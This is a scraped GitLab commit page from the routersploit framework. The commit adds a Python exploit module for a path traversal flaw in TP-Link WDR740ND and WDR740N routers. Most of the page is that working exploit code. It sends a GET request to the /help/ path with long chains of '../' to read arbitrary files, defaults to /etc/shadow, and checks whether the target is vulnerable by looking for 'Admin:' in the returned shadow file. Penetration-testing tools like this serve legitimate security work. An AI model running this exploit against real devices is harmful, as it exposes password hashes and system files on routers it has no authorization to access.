Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
a6b62284
Commit
a6b62284
authored
Jun 15, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
TP-Link WDR740ND and WDR740N Path Traversal exploit
parent
1444f4f1
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
66 additions
and
0 deletions
+66
-0
__init__.py
routersploit/modules/exploits/tplink/__init__.py
+0
-0
wdr740nd_wdr740n_path_traversal.py
...odules/exploits/tplink/wdr740nd_wdr740n_path_traversal.py
+66
-0
No files found.
routersploit/modules/exploits/tplink/__init__.py
0 → 100644
View file @
a6b62284
routersploit/modules/exploits/tplink/wdr740nd_wdr740n_path_traversal.py
0 → 100644
View file @
a6b62284
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
print_status
,
print_info
,
http_request
,
mute
,
validators
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for TP-Link WDR740ND and WDR740N path traversal vulnerability.
If the target is vulnerable it allows to read files from the filesystem.
"""
__info__
=
{
'name'
:
'TP-Link WDR740ND & WDR740N Path Traversal'
,
'description'
:
'Exploits TP-Link WDR740ND and WDR740N path traversal vulnerability that allows to read files from the filesystem.'
,
'authors'
:
[
'websec.ca'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'http://www.websec.mx/publicacion/advisories/tplink-wdr740-path-traversal'
,
],
'devices'
:
[
'TP-Link WDR740ND'
,
'TP-Link WDR740N'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
filename
=
exploits
.
Option
(
'/etc/shadow'
,
'File to read from the filesystem'
)
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
url
=
"{}:{}/help/../../../../../../../../../../../../../../../..{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
filename
)
print_status
(
"Sending payload request"
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
if
response
.
status_code
==
200
and
len
(
response
.
text
):
print_status
(
"Reading file {}"
.
format
(
self
.
filename
))
print_info
(
response
.
text
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
@mute
def
check
(
self
):
url
=
"{}:{}/help/../../../../../../../../../../../../../../../../etc/shadow"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
False
# target is not vulnerable
if
"Admin:"
in
response
.
text
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment